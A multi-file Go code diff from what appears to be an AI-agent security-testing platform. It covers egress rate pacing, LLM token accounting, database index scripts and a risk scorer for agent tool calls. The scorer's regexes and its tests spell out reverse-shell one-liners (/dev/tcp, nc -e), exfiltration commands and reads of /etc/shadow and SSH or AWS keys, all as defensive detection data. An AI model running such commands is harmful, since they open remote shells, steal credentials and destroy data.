// share runs fn once for the concurrent callers of key and keeps its value for
@@ -344,6 +427,25 @@ type transport struct {
base http.RoundTripper
}
// Dynamic returns base (nil: http.DefaultTransport) governed by the governor
// current at each request, for a client built once and kept: a later
// SetProfile applies to its next request. Off, the request goes to base as is.
func Dynamic(namespace string, base http.RoundTripper) http.RoundTripper {
if base == nil {
base = http.DefaultTransport
}
return dynamicTransport{namespace, base}
}
type dynamicTransport struct {
namespace string
base http.RoundTripper
}
func (d dynamicTransport) RoundTrip(req *http.Request) (*http.Response, error) {
return Current().Transport(d.namespace, d.base).RoundTrip(req)
}
const maxSharedBody = 2 << 20 // a larger response is neither coalesced nor cached
func (t *transport) RoundTrip(req *http.Request) (*http.Response, error) {
+67
View File
@@ -0,0 +1,67 @@
package egress
import (
"context"
"encoding/base64"
"net/url"
"strings"
)
// Bash commands reach targets through the recording proxy, outside the clients
// this package governs. With traffic capture on, the proxy URL in their
// environment carries a marker userinfo (MarkProxyURL). The proxy paces each
// request of a marked client connection with Wait, and leaves unmarked
// connections alone: WebFetch, the http custom tools and the enrich probe use
// the plain proxy URL and are already paced by their governor, so no request
// is paced twice. Best effort, not a security boundary: a command that ignores
// the proxy, or drops the marker, is not paced.
// PaceUser is the user and password of the marker userinfo.
const PaceUser = "artex-pace"
// MarkProxyURL returns raw with the marker userinfo. raw is returned unchanged
// when it does not parse or already carries a userinfo.
func MarkProxyURL(raw string) string {
u, err := url.Parse(raw)
if err != nil || u.Host == "" || u.User != nil {
return raw
}
u.User = url.UserPassword(PaceUser, PaceUser)
return u.String()
}
// IsPaceMarker reports whether a Proxy-Authorization value is Basic
// credentials for PaceUser.
func IsPaceMarker(proxyAuthorization string) bool {
scheme, enc, ok := strings.Cut(strings.TrimSpace(proxyAuthorization), " ")
if !ok || !strings.EqualFold(scheme, "Basic") {
return false
}
dec, err := base64.StdEncoding.DecodeString(strings.TrimSpace(enc))
if err != nil {
return false
}
user, _, _ := strings.Cut(string(dec), ":")
return user == PaceUser
}
// Wait paces one request to hostKey under the current profile. See
// Governor.Wait.
func Wait(ctx context.Context, hostKey string) error { return Current().Wait(ctx, hostKey) }
// Wait takes a token of the host's bucket plus the jitter, as a governed request
// does, and counts the request in the host's noise counter. It takes no
// in-flight slot, and nothing is cached, coalesced or retried. Off, it returns
// at once and counts nothing. An error means ctx ended first; the request is
// counted either way, since the caller sends it regardless.
func (g *Governor) Wait(ctx context.Context, hostKey string) error {
if g.off() {
return nil
}
h := g.host(hostKey)
err := sleep(ctx, g.reserve(h)+g.jitter())
g.mu.Lock()
h.sent++
g.mu.Unlock()
return err
}
+85
View File
@@ -0,0 +1,85 @@
package egress
import (
"context"
"encoding/base64"
"errors"
"testing"
"time"
)
func TestMarkProxyURL(t *testing.T) {
for in, want := range map[string]string{
"http://127.0.0.1:8788": "http://artex-pace:artex-pace@127.0.0.1:8788",
"http://u:p@127.0.0.1:8788": "http://u:p@127.0.0.1:8788",
"": "",
"127.0.0.1:8788": "127.0.0.1:8788",
"socks5://proxy.example.test:1080": "socks5://artex-pace:artex-pace@proxy.example.test:1080",
} {
if got := MarkProxyURL(in); got != want {
t.Errorf("MarkProxyURL(%q) = %q, want %q", in, got, want)
}
}
}
func TestIsPaceMarker(t *testing.T) {
enc := func(s string) string { return base64.StdEncoding.EncodeToString([]byte(s)) }
for v, want := range map[string]bool{
"Basic " + enc("artex-pace:artex-pace"): true,
"basic " + enc("artex-pace:x"): true,
"Basic " + enc("user:pass"): false,
"Bearer " + enc("artex-pace:artex-pace"): false,
"Basic !!!": false,
"Basic": false,
"": false,
} {
if got := IsPaceMarker(v); got != want {
t.Errorf("IsPaceMarker(%q) = %v, want %v", v, got, want)
}
}
}
func TestWait(t *testing.T) {
if err := New(Profile{Name: "off"}).Wait(t.Context(), "a.example"); err != nil {
t.Fatalf("off Wait: %v", err)
}
off := New(Profile{Name: "off"})
_ = off.Wait(t.Context(), "a.example")
if s := off.Snapshot(); len(s) != 0 {
t.Fatalf("off counted: %v", s)
}
// 10 req/s, burst 1, no jitter: the second Wait takes ~100 ms.
g := New(Profile{Name: "test", RPS: 10, Burst: 1, MaxPerHost: 1, MaxGlobal: 1})
start := time.Now()
for range 2 {
if err := g.Wait(t.Context(), "a.example"); err != nil {
t.Fatal(err)
}
}
if d := time.Since(start); d < 80*time.Millisecond {
t.Fatalf("two Waits at 10 req/s took %v", d)
}
if s := g.Snapshot(); len(s) != 1 || s[0].RPM != 2 || s[0].Inflight != 0 || s[0].PeakInflight != 0 {
t.Fatalf("snapshot after Wait = %+v, want rpm 2 and no in-flight slot", s)
}
// A wait past the context's end returns its error and still counts.
slow := New(Profile{Name: "test", RPS: 0.5, Burst: 1, MaxPerHost: 1, MaxGlobal: 1})
_ = slow.Wait(t.Context(), "b.example")
ctx, cancel := context.WithTimeout(t.Context(), 20*time.Millisecond)
defer cancel()
if err := slow.Wait(ctx, "b.example"); !errors.Is(err, context.DeadlineExceeded) {
t.Fatalf("bounded Wait: %v, want DeadlineExceeded", err)
}
if s := slow.Snapshot(); len(s) != 1 || s[0].RPM != 2 {
t.Fatalf("snapshot after a timed-out Wait = %+v, want rpm 2", s)
}
// The package Wait uses the current profile.
keepProfile(t)
SetProfile(Profile{Name: "off"})
if err := Wait(t.Context(), "c.example"); err != nil || len(Current().Snapshot()) != 0 {
t.Fatalf("package Wait under off: err=%v snapshot=%v", err, Current().Snapshot())
}
}
+3 -2
View File
@@ -99,7 +99,8 @@ func New(as *db.AssetStore, proxy func() string, workers int) *Engine {
// probe without a scope is refused. When the scope's gate is on, the probe
// connects to the target itself, without the proxy, so that the dialer decides
// on the target and connects only to the addresses a pin covers. Every request
// goes through the shared egress governor (the noise profile; off by default).
// goes through the egress governor current at that request (the noise profile;
// off by default), so a changed profile applies without rebuilding the client.
func buildClient(proxy func() string) *http.Client {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
@@ -120,7 +121,7 @@ func buildClient(proxy func() string) *http.Client {
}
}
return &http.Client{
Transport: egress.Shared().Transport("enrich", tr),
Transport: egress.Dynamic("enrich", tr),
Timeout: httpTimeout,
// cap redirects; keep them within scope by re-checking at probe time
CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse },
+3 -3
View File
@@ -3,9 +3,10 @@ module github.com/Autumn-27/artex
go 1.26.10
require (
github.com/Autumn-27/norma v0.4.3
github.com/Autumn-27/norma v0.4.10
github.com/golang-jwt/jwt/v5 v5.3.1
github.com/google/uuid v1.6.0
github.com/gorilla/websocket v1.5.3
github.com/jackc/pgx/v5 v5.10.0
github.com/klauspost/compress v1.18.6
github.com/lqqyt2423/go-mitmproxy v1.9.2
@@ -27,7 +28,6 @@ require (
github.com/gaissmai/bart v0.26.0 // indirect
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
github.com/gorilla/css v1.0.1 // indirect
github.com/gorilla/websocket v1.5.3 // indirect
github.com/hinshun/vt10x v0.0.0-20220301184237-5011da428d02 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 // indirect
@@ -61,4 +61,4 @@ require (
modernc.org/memory v1.11.0 // indirect
)
replace github.com/Autumn-27/norma => github.com/BaaRai/Norma v0.4.8
replace github.com/Autumn-27/norma => github.com/BaaRai/Norma v0.4.10
+2 -2
View File
@@ -1,5 +1,5 @@
github.com/BaaRai/Norma v0.4.8 h1:k3at2aYSJ6aIDjEo7tC4VDSLBHXw2HobYjpKChVe6hI=
github.com/BaaRai/Norma v0.4.8/go.mod h1:BudWrf7iHl96FgHqFr/HwN3mKYmGjJDt+xL2ZHXfFZw=
github.com/BaaRai/Norma v0.4.10 h1:+Sj6m8gZQIcVoOr5x9b3y7T1jI+95u43M07MLuvdaZk=
github.com/BaaRai/Norma v0.4.10/go.mod h1:BudWrf7iHl96FgHqFr/HwN3mKYmGjJDt+xL2ZHXfFZw=
github.com/andybalholm/brotli v1.2.1 h1:R+f5xP285VArJDRgowrfb9DqL18yVK0gKAW/F+eTWro=
github.com/andybalholm/brotli v1.2.1/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
+157
View File
@@ -0,0 +1,157 @@
package intercept
import (
"encoding/json"
"regexp"
"strings"
)
// RiskReport is a deterministic estimate of how dangerous a pending tool call
// is. No model is involved, and it is computed when a pending row is read,
// never stored: changing the rules below re-scores every open request.
type RiskReport struct {
Score int `json:"score"` // 0..100
Level string `json:"level"` // low (<30) | medium (30..69) | high (>=70)
Reasons []string `json:"reasons"` // one per matched signal, in table order
}
const (
riskMediumAt = 30
riskHighAt = 70
riskMax = 100
)
func riskLevel(score int) string {
switch {
case score >= riskHighAt:
return "high"
case score >= riskMediumAt:
return "medium"
}
return "low"
}
type riskSignal struct {
reason string
points int
match func(string) bool
}
func reSignal(reason string, points int, pattern string) riskSignal {
re := regexp.MustCompile(pattern)
return riskSignal{reason, points, re.MatchString}
}
// shellBase is the score of a shell command that matches no signal.
const shellBase = 10
// shellSignals are additive; each counts once, and reasons follow this order.
var shellSignals = []riskSignal{
// 60 so that a destructive command alone reaches high: 10 + 60 = 70.
reSignal("destructive command (rm -r, dd, mkfs, shred, truncate, DROP TABLE, DELETE FROM, shutdown)", 60,
`(?i)\brm\s+([^;&|]*\s)?(-[a-z]*r[a-z]*|--recursive)(\s|$)|\bdd\s+[^;&|]*\b(if|of)=|\bmkfs\b|\bshred\b|\btruncate\b|\bdrop\s+table\b|\bdelete\s+from\b|\bshutdown\b`),
reSignal("privilege change (sudo, su, chmod 777, setcap)", 40,
`(^|[\s;&|(])(sudo|su)(\s|$)|\bchmod\s+(-\w+\s+)*0?777\b|\bsetcap\b`),
reSignal("reads secrets (/etc/shadow, .ssh, .aws/credentials, .git-credentials)", 40,
`/etc/shadow|\.ssh/|\.aws/credentials|\.git-credentials`),
reSignal("possible exfiltration (curl upload, scp, remote rsync, nc, socat)", 40,
`\bcurl\b[^;&|]*\s(-d|--data[\w-]*|-F|--form|-T|--upload-file)(\s|=|$)|\bscp\b|\brsync\b[^;&|]*\s\S+:|\bnc\b|\bncat\b|\bsocat\b`),
reSignal("reverse shell pattern (/dev/tcp, nc -e)", 60,
`/dev/tcp/|\b(nc|ncat)\b[^;&|]*\s-e(\s|$)`),
reSignal("network scanner (nmap, nuclei, sqlmap, ffuf, hydra, masscan, dalfox)", 30,
`\b(nmap|nuclei|sqlmap|ffuf|hydra|masscan|dalfox)\b`),
{"writes files (redirection or tee)", 15, writesFile},
}
var teeRE = regexp.MustCompile(`(^|[|;&]\s*)tee\b`)
// writesFile reports an output redirection to a file, or tee. "2>&1" and
// redirections to /dev/null are not writes.
func writesFile(cmd string) bool {
if teeRE.MatchString(cmd) {
return true
}
for i := 0; i < len(cmd); i++ {
if cmd[i] != '>' {
continue
}
rest := strings.TrimLeft(strings.TrimPrefix(cmd[i+1:], ">"), " \t")
if strings.HasPrefix(rest, "&") || strings.HasPrefix(rest, "/dev/null") || rest == "" {
continue
}
return true
}
return false
}
// fileBase is the score of a file write or edit; a sensitive path adds
// fileSensitive on top, which makes it high.
const (
fileBase = 30
fileSensitive = 40
)
var sensitivePathRE = regexp.MustCompile(`(^|/)(\.ssh|\.aws|\.gnupg)/|^/etc/|^/root/|^/boot/|/\.git-credentials$|/\.(bashrc|bash_profile|profile|zshrc)$|/authorized_keys$|(^|/)\.env$`)
// webBase is the score of a web read; a mutating method adds webMutating.
const (
webBase = 10
webMutating = 30
)
// unknownBase is the floor for MCP tools, unrecognized tools and unreadable
// input: medium, never low.
const unknownBase = 30
// ScoreRisk scores one tool call. It never panics on malformed input: input
// that is not a JSON object scores medium with a reason.
func ScoreRisk(tool string, input json.RawMessage) RiskReport {
var fields map[string]any
if err := json.Unmarshal(input, &fields); err != nil || fields == nil {
return riskReport(unknownBase, []string{"tool input is not a valid JSON object"})
}
str := func(keys ...string) string {
for _, k := range keys {
if v, ok := fields[k].(string); ok && v != "" {
return v
}
}
return ""
}
switch tool {
case "Bash", "shell_open", "Monitor", "shell_send":
cmd := str("command", "text")
score, reasons := shellBase, []string{}
for _, s := range shellSignals {
if s.match(cmd) {
score += s.points
reasons = append(reasons, s.reason)
}
}
return riskReport(score, reasons)
case "Write", "Edit", "MultiEdit", "NotebookEdit":
reasons := []string{"writes or edits a file"}
score := fileBase
if sensitivePathRE.MatchString(str("file_path", "path", "notebook_path")) {
score += fileSensitive
reasons = append(reasons, "sensitive path (system, credential or shell startup file)")
}
return riskReport(score, reasons)
case "WebFetch", "web_search":
method := strings.ToUpper(str("method"))
switch method {
case "POST", "PUT", "PATCH", "DELETE":
return riskReport(webBase+webMutating, []string{"mutating HTTP method " + method})
}
return riskReport(webBase, []string{})
}
if strings.HasPrefix(tool, "mcp__") {
return riskReport(unknownBase, []string{"MCP tool: no specific rules"})
}
return riskReport(unknownBase, []string{"unrecognized tool: no specific rules"})
}
func riskReport(score int, reasons []string) RiskReport {
score = min(score, riskMax)
return RiskReport{Score: score, Level: riskLevel(score), Reasons: reasons}
}
+112
View File
@@ -0,0 +1,112 @@
package intercept
import (
"encoding/json"
"slices"
"testing"
)
func TestScoreRisk(t *testing.T) {
sig := func(i int) string { return shellSignals[i].reason }
const (
destructive = iota
privilege
secrets
exfil
reverse
scanner
writes
)
bash := func(cmd string) json.RawMessage {
raw, _ := json.Marshal(map[string]string{"command": cmd})
return raw
}
cases := []struct {
name string
tool string
input json.RawMessage
score int
level string
reasons []string
}{
{"plain command", "Bash", bash("ls -la"), 10, "low", nil},
{"destructive alone is high", "Bash", bash("rm -rf ./cache"), 70, "high", []string{sig(destructive)}},
{"rm -rf", "Bash", bash("rm -rf /tmp/x"), 70, "high", []string{sig(destructive)}},
{"rm -R", "Bash", bash("rm -R build"), 70, "high", []string{sig(destructive)}},
{"rm of a file named -r suffix", "Bash", bash("rm file-r"), 10, "low", nil},
{"dd", "Bash", bash("dd if=/dev/zero of=/dev/sda"), 70, "high", []string{sig(destructive)}},
{"mkfs", "Bash", bash("mkfs.ext4 /dev/sdb1"), 70, "high", []string{sig(destructive)}},
{"shred", "Bash", bash("shred -u key.pem"), 70, "high", []string{sig(destructive)}},
{"truncate", "Bash", bash("truncate -s 0 app.log"), 70, "high", []string{sig(destructive)}},
{"drop table", "Bash", bash(`psql -c "DROP TABLE users"`), 70, "high", []string{sig(destructive)}},
{"delete from", "Bash", bash(`psql -c "delete from users"`), 70, "high", []string{sig(destructive)}},
{"shutdown", "Bash", bash("shutdown -h now"), 70, "high", []string{sig(destructive)}},
{"sudo", "Bash", bash("sudo id"), 50, "medium", []string{sig(privilege)}},
{"su", "Bash", bash("su - root"), 50, "medium", []string{sig(privilege)}},
{"chmod 777", "Bash", bash("chmod -R 777 /srv"), 50, "medium", []string{sig(privilege)}},
{"setcap", "Bash", bash("setcap cap_net_raw+ep ./bin"), 50, "medium", []string{sig(privilege)}},
{"/etc/shadow", "Bash", bash("cat /etc/shadow"), 50, "medium", []string{sig(secrets)}},
{".ssh", "Bash", bash("cat ~/.ssh/id_rsa"), 50, "medium", []string{sig(secrets)}},
{".aws/credentials", "Bash", bash("cat ~/.aws/credentials"), 50, "medium", []string{sig(secrets)}},
{".git-credentials", "Bash", bash("cat ~/.git-credentials"), 50, "medium", []string{sig(secrets)}},
{"curl -d", "Bash", bash("curl -d @data.json https://x.example"), 50, "medium", []string{sig(exfil)}},
{"curl -F", "Bash", bash("curl -F file=@a.zip https://x.example"), 50, "medium", []string{sig(exfil)}},
{"curl -T", "Bash", bash("curl -T a.zip https://x.example"), 50, "medium", []string{sig(exfil)}},
{"curl get", "Bash", bash("curl -s https://x.example"), 10, "low", nil},
{"scp", "Bash", bash("scp dump.sql u@h:/tmp"), 50, "medium", []string{sig(exfil)}},
{"rsync remote", "Bash", bash("rsync -a data/ u@h:/backup"), 50, "medium", []string{sig(exfil)}},
{"rsync local", "Bash", bash("rsync -a data/ backup/"), 10, "low", nil},
{"socat", "Bash", bash("socat - TCP:h:9000"), 50, "medium", []string{sig(exfil)}},
{"/dev/tcp", "Bash", bash("bash -i >& /dev/tcp/203.0.113.1/4444 0>&1"), 70, "high", []string{sig(reverse)}},
{"nc -e caps at 100", "Bash", bash("nc -e /bin/sh 203.0.113.1 4444"), 100, "high", []string{sig(exfil), sig(reverse)}},
{"scanner", "Bash", bash("nmap -sV target.example"), 40, "medium", []string{sig(scanner)}},
{"redirection", "Bash", bash("echo x > out.txt"), 25, "low", []string{sig(writes)}},
{"append", "Bash", bash("echo x >> out.txt"), 25, "low", []string{sig(writes)}},
{"tee", "Bash", bash("echo x | tee out.txt"), 25, "low", []string{sig(writes)}},
{"stderr merge is no write", "Bash", bash("make 2>&1"), 10, "low", nil},
{"/dev/null is no write", "Bash", bash("make > /dev/null"), 10, "low", nil},
{"shell_send text", "shell_send", json.RawMessage(`{"text":"sudo id"}`), 50, "medium", []string{sig(privilege)}},
{"cap and fixed reason order", "Bash", bash("cat /etc/shadow | nc h 1; sudo rm -rf /"), 100, "high",
[]string{sig(destructive), sig(privilege), sig(secrets), sig(exfil)}},
{"write", "Write", json.RawMessage(`{"file_path":"/tmp/notes.txt","content":"x"}`), 30, "medium",
[]string{"writes or edits a file"}},
{"edit authorized_keys", "Edit", json.RawMessage(`{"file_path":"/home/u/.ssh/authorized_keys"}`), 70, "high",
[]string{"writes or edits a file", "sensitive path (system, credential or shell startup file)"}},
{"write /etc", "Write", json.RawMessage(`{"file_path":"/etc/hosts"}`), 70, "high",
[]string{"writes or edits a file", "sensitive path (system, credential or shell startup file)"}},
{"webfetch get", "WebFetch", json.RawMessage(`{"url":"https://x.example"}`), 10, "low", nil},
{"webfetch post", "WebFetch", json.RawMessage(`{"url":"https://x.example","method":"post"}`), 40, "medium",
[]string{"mutating HTTP method POST"}},
{"mcp tool", "mcp__srv__tool", json.RawMessage(`{}`), 30, "medium", []string{"MCP tool: no specific rules"}},
{"unknown tool", "SomethingNew", json.RawMessage(`{"a":1}`), 30, "medium", []string{"unrecognized tool: no specific rules"}},
{"invalid json", "Bash", json.RawMessage(`{not json`), 30, "medium", []string{"tool input is not a valid JSON object"}},
{"json array", "Bash", json.RawMessage(`[]`), 30, "medium", []string{"tool input is not a valid JSON object"}},
{"json null", "Write", json.RawMessage(`null`), 30, "medium", []string{"tool input is not a valid JSON object"}},
{"empty input", "Bash", nil, 30, "medium", []string{"tool input is not a valid JSON object"}},
}
for _, c := range cases {
got := ScoreRisk(c.tool, c.input)
want := c.reasons
if want == nil {
want = []string{}
}
if got.Score != c.score || got.Level != c.level || !slices.Equal(got.Reasons, want) {
t.Errorf("%s: got %+v, want score=%d level=%s reasons=%q", c.name, got, c.score, c.level, want)
}
if got.Reasons == nil {
t.Errorf("%s: reasons must be an empty list, not null", c.name)
}
// Repeated scoring is stable.
if again := ScoreRisk(c.tool, c.input); !slices.Equal(again.Reasons, got.Reasons) || again.Score != got.Score {
t.Errorf("%s: unstable result %+v then %+v", c.name, got, again)
}
}
}
func TestRiskLevelThresholds(t *testing.T) {
for score, want := range map[int]string{0: "low", 29: "low", 30: "medium", 69: "medium", 70: "high", 100: "high"} {
if got := riskLevel(score); got != want {
t.Errorf("riskLevel(%d) = %s, want %s", score, got, want)
}
}
}
+1 -1
View File
@@ -39,7 +39,7 @@ var noTargetTools = toolSet(
// the operator runs the command, not the platform
"ask_operator",
// recorded traffic
"traffic_search", "traffic_get", "traffic_blob",
"traffic_search", "traffic_get", "traffic_blob", "traffic_messages",
)
func toolSet(names ...string) map[string]bool {
+1 -1
View File
@@ -191,7 +191,7 @@ func TestExtractSkipsNoTargetTools(t *testing.T) {
"web_search", "Read", "Write", "Edit", "MultiEdit", "LS", "Glob", "Grep", "TodoWrite", "sleep",
"TaskOutput", "TaskStop", "TaskList",
"add_intent", "insert_assets", "report_finding", "record_fact", "add_task_scope", "graph_overview",
"spawn_task", "ask_operator", "traffic_search", "traffic_get", "traffic_blob",
"spawn_task", "ask_operator", "traffic_search", "traffic_get", "traffic_blob", "traffic_messages",
} {
wantTargets(t, tool, targetsOf(tool, input))
}
+6 -6
View File
@@ -195,11 +195,11 @@ func (r *Recorder) Stream(ctx context.Context, req llm.CompletionRequest) iter.S
return
}
// Always track usage (cheap); accumulate text/thinking only for bodies.
// Anthropic (and the other providers) split token usage across events:
// message_start carries ONLY the input side (input + cache), message_delta
// ONLY the output. They must be FOLDED with Add — overwriting on delta
// would zero out the input already counted at start (mirrors the SDK's own
// llm.Accumulator; see norma/llm/accumulate.go).
// message_start carries the input side (input + cache) and is added.
// Since Norma v0.4.7 message_delta also echoes that input side next to the
// output, so it is folded with llm.Usage.MergeEcho (max on echoed fields,
// sum on output), as llm.Accumulator does; Add would count the input and
// cache twice. An output-only delta folds the same either way.
switch ev.Type {
case llm.SETextDelta:
if recordBodies {
@@ -215,7 +215,7 @@ func (r *Recorder) Stream(ctx context.Context, req llm.CompletionRequest) iter.S
if ev.StopReason != "" {
stopReason = ev.StopReason
}
usage.Add(ev.Usage)
usage.MergeEcho(ev.Usage)
}
if !yield(ev, err) {
return
+118
View File
@@ -0,0 +1,118 @@
package llmrec
import (
"context"
"iter"
"testing"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/norma/llm"
"github.com/google/uuid"
)
// echoStreamProvider streams one message_start and one message_delta with the
// given (already normalized) usage, as Norma's providers emit them.
type echoStreamProvider struct {
completeProvider
start, delta llm.Usage
}
func (p echoStreamProvider) Stream(context.Context, llm.CompletionRequest) iter.Seq2[llm.StreamEvent, error] {
return func(yield func(llm.StreamEvent, error) bool) {
for _, ev := range []llm.StreamEvent{
{Type: llm.SEMessageStart, Usage: p.start},
{Type: llm.SETextDelta, Text: "answer"},
{Type: llm.SEMessageDelta, StopReason: "end_turn", Usage: p.delta},
{Type: llm.SEMessageStop},
} {
if !yield(ev, nil) {
return
}
}
}
}
// Norma normalizes Anthropic usage so InputTokens includes the cache read and
// write subsets, and since v0.4.7 message_delta echoes that input side.
var usageEchoCases = []struct {
name string
start, delta llm.Usage
want llm.Usage
}{
{
name: "full_echo",
start: llm.Usage{InputTokens: 23, CacheReadTokens: 5, CacheWriteTokens: 3},
delta: llm.Usage{InputTokens: 23, CacheReadTokens: 5, CacheWriteTokens: 3, OutputTokens: 5},
want: llm.Usage{InputTokens: 23, OutputTokens: 5, CacheReadTokens: 5, CacheWriteTokens: 3},
},
{
// Raw start: input 500, cache read 200, cache creation 40 → normalized 740.
// Raw delta: input 500, output 77, no cache fields → normalized 500.
name: "partial_echo",
start: llm.Usage{InputTokens: 740, CacheReadTokens: 200, CacheWriteTokens: 40},
delta: llm.Usage{InputTokens: 500, OutputTokens: 77},
want: llm.Usage{InputTokens: 740, OutputTokens: 77, CacheReadTokens: 200, CacheWriteTokens: 40},
},
{
name: "no_echo",
start: llm.Usage{InputTokens: 23, CacheReadTokens: 5, CacheWriteTokens: 3},
delta: llm.Usage{OutputTokens: 5},
want: llm.Usage{InputTokens: 23, OutputTokens: 5, CacheReadTokens: 5, CacheWriteTokens: 3},
},
}
func drainRecorderStream(t *testing.T, ctx context.Context, r *Recorder) {
t.Helper()
for _, err := range r.Stream(ctx, llm.CompletionRequest{}) {
if err != nil {
t.Fatal(err)
}
}
}
// The metered usage of a streamed call counts an echoed input side once.
func TestStreamUsageEchoCountedOnce(t *testing.T) {
for _, tc := range usageEchoCases {
t.Run(tc.name, func(t *testing.T) {
var got []llm.Usage
ctx := WithUsageSink(t.Context(), func(u llm.Usage) { got = append(got, u) })
drainRecorderStream(t, ctx, Wrap(echoStreamProvider{start: tc.start, delta: tc.delta}, nil, "fixture", "profile", "", "", func() bool { return false }))
if len(got) != 1 || got[0] != tc.want {
t.Fatalf("metered %+v, want one call with %+v", got, tc.want)
}
})
}
}
// The llm_usage ledger gets one row per streamed call, with the echo counted once.
func TestStreamUsageEchoLedgerRow(t *testing.T) {
dsn, _, err := db.DSN()
if err != nil {
t.Skipf("no database config (%v)", err)
}
pg, err := db.Open(dsn)
if err != nil {
t.Skipf("postgres unavailable (%v)", err)
}
defer pg.Close()
if err := pg.EnsureLLMUsageTable(); err != nil {
t.Fatal(err)
}
for _, tc := range usageEchoCases {
t.Run(tc.name, func(t *testing.T) {
profile := "usage-echo-" + uuid.NewString()
t.Cleanup(func() { _, _ = pg.Exec(`DELETE FROM llm_usage WHERE profile_name=$1`, profile) })
drainRecorderStream(t, t.Context(), Wrap(echoStreamProvider{start: tc.start, delta: tc.delta}, pg, "fixture", profile, "", "", func() bool { return false }))
var rows int
var got llm.Usage
err := pg.QueryRow(`SELECT count(*), COALESCE(sum(input_tokens),0), COALESCE(sum(output_tokens),0), COALESCE(sum(cache_read),0), COALESCE(sum(cache_write),0)
FROM llm_usage WHERE profile_name=$1`, profile).Scan(&rows, &got.InputTokens, &got.OutputTokens, &got.CacheReadTokens, &got.CacheWriteTokens)
if err != nil {
t.Fatal(err)
}
if rows != 1 || got != tc.want {
t.Fatalf("ledger rows=%d usage=%+v, want 1 row with %+v", rows, got, tc.want)
}
})
}
}
+6
View File
@@ -0,0 +1,6 @@
\set ON_ERROR_STOP on
-- Removes only the two indexes introduced by this change; retains table data.
SET lock_timeout = '5s';
SET statement_timeout = '10min';
DROP INDEX CONCURRENTLY IF EXISTS public.idx_activity_tool_result_lookup;
DROP INDEX CONCURRENTLY IF EXISTS public.idx_llm_usage_task_model_tokens;
+22
View File
@@ -0,0 +1,22 @@
\set ON_ERROR_STOP on
-- Run with psql outside a transaction. Adds indexes without blocking normal DML.
SET lock_timeout = '5s';
SET statement_timeout = '10min';
SET maintenance_work_mem = '128MB';
SET max_parallel_maintenance_workers = 1;
-- db/commands.go joins by tool_use_id without an exploration_id constraint.
-- The existing (exploration_id, tool_use_id, id) index has the wrong leading key.
CREATE INDEX CONCURRENTLY idx_activity_tool_result_lookup
ON public.activity (tool_use_id) INCLUDE (is_error)
WHERE kind = 'tool_result';
-- Match TokenByModel's actual COALESCE(task_id, '') predicate and cover its sums.
CREATE INDEX CONCURRENTLY idx_llm_usage_task_model_tokens
ON public.llm_usage ((COALESCE(task_id, '')), model)
INCLUDE (task_id, input_tokens, output_tokens, cache_read, cache_write);
-- Mark committed append-only pages visible so the covering index can avoid heap reads.
SET vacuum_cost_delay = '2ms';
SET vacuum_cost_limit = 1000;
VACUUM (ANALYZE) public.llm_usage;
+38
View File
@@ -0,0 +1,38 @@
# Online task-query indexes
`20261115-task-query-indexes.sql` adds two PostgreSQL indexes for existing queries:
- `activity(tool_use_id) INCLUDE (is_error) WHERE kind = 'tool_result'` supports the tool-result join in `db/commands.go` (`LEFT JOIN activity r ON r.tool_use_id = u.tool_use_id AND r.kind = 'tool_result'`). That join does not constrain the result row's exploration ID, so the existing `idx_act_tool_call (exploration_id, tool_use_id, id)` has the wrong leading key for it.
- `llm_usage((COALESCE(task_id, '')), model) INCLUDE (task_id, input_tokens, output_tokens, cache_read, cache_write)` covers the per-task model aggregation in `db/llm_usage.go` (`TokenByModel`). That query filters on `COALESCE(task_id,'') = $1` and groups by `model`. The expression matches that predicate; the existing `idx_llm_usage_model (task_id, model)` cannot serve it.
## Apply
```sh
psql -X -v ON_ERROR_STOP=1 -d <database> -f scripts/sql/20261115-task-query-indexes.sql
```
Run it outside a transaction: `CREATE INDEX CONCURRENTLY` cannot run inside one, so do not wrap the file in `BEGIN`/`COMMIT` or use `psql -1`. Use the deployment's normal PostgreSQL authentication.
Both indexes are created concurrently, so normal reads and writes continue. The script sets a 5-second lock timeout, a 10-minute statement timeout and bounded maintenance resources. Its final `VACUUM (ANALYZE)` is an ordinary vacuum, not `VACUUM FULL`; it updates visibility and statistics so the covering index can serve index-only scans.
This is an explicit, one-time maintenance step, not a numbered migration. `db/migrate.go` runs each migration file inside a transaction, where `CONCURRENTLY` is not allowed. A plain `CREATE INDEX` at startup would lock `activity` against writes for the whole build. No application or database restart is required.
## After an interruption
The script intentionally fails if an index with the same name already exists. A partial run may have created the first index before the second failed. An interrupted concurrent build can also leave an invalid index behind. Before retrying, check the state of both indexes:
```sql
SELECT c.relname, i.indisvalid, i.indisready
FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid
WHERE c.relname IN ('idx_activity_tool_result_lookup', 'idx_llm_usage_task_model_tokens');
```
Both must show `indisvalid = true` and `indisready = true`. Drop an index that is invalid or not ready with `DROP INDEX CONCURRENTLY`, or run the rollback below, then rerun the script.
## Rollback
```sh
psql -X -v ON_ERROR_STOP=1 -d <database> -f scripts/sql/20261115-task-query-indexes.rollback.sql
```
The rollback drops only these two indexes, concurrently and only if they exist. Table data is kept. Review the current index definitions before applying it. No application restart is required.
+1 -1
View File
@@ -6,9 +6,9 @@ import (
"path/filepath"
"testing"
actool "github.com/Autumn-27/norma/tool"
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/db"
actool "github.com/Autumn-27/norma/tool"
)
// hasSkillTool reports whether the packed tool set contains the Skill meta-tool.
+4 -3
View File
@@ -566,13 +566,14 @@ func (s *Server) runHTTPTool(ctx context.Context, key string, execRaw json.RawMe
client := &http.Client{Timeout: timeoutOr(spec.TimeoutMs, 30000)}
// Every redirect hop goes through the target gate, as the rendered URL did.
client.CheckRedirect = intercept.RedirectCheck(key)
// The shared egress governor paces every request and redirect hop per host
// under the noise profile (off by default: the base transport itself).
// The current egress governor paces every request and redirect hop per host
// under the noise profile (off by default: the base transport itself). It is
// resolved per request, so a changed profile applies to the next call.
var base http.RoundTripper = http.DefaultTransport
